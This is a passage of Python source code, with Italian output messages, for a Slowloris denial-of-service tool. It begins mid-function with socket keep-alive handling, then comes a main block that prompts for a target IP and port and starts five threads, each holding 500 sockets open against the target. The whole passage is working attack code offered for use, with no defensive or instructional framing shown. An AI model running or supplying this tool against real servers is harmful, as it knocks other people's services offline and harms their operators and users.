                    s.send("Connection: keep-alive\r\n".encode('utf-8'))
                except socket.error as e:
                    print(f"[-] Errore nel ricreare il socket: {e}")
                    break

            time.sleep(5)
        except KeyboardInterrupt:

            print("[-] Attacco interrotto dall'utente.")
            break
        except socket.error as e:

            print(f"[-] Errore nel mantenimento dei socket: {e}")
```

```
            break
        except Exception as e:

            print(f"[-] Si è verificato un errore imprevisto: {e}")
            break


    print("[*] Chiusura di tutti i socket...")
    for s in sockets:
        s.close()


def thread_function(target_ip, target_port, num_sockets):

    slowloris(target_ip, target_port, num_sockets)


if __name__ == "__main__":

    target_ip = input("Target IP: ")
    target_port = int(input("Target PORT: "))

    threads = []
```

```
    for i in range(5):

        thread = threading.Thread(target=thread_function, args=(target_ip,
target_port, 500))

        thread.start()

        threads.append(thread)


    for thread in threads:

        thread.join()
```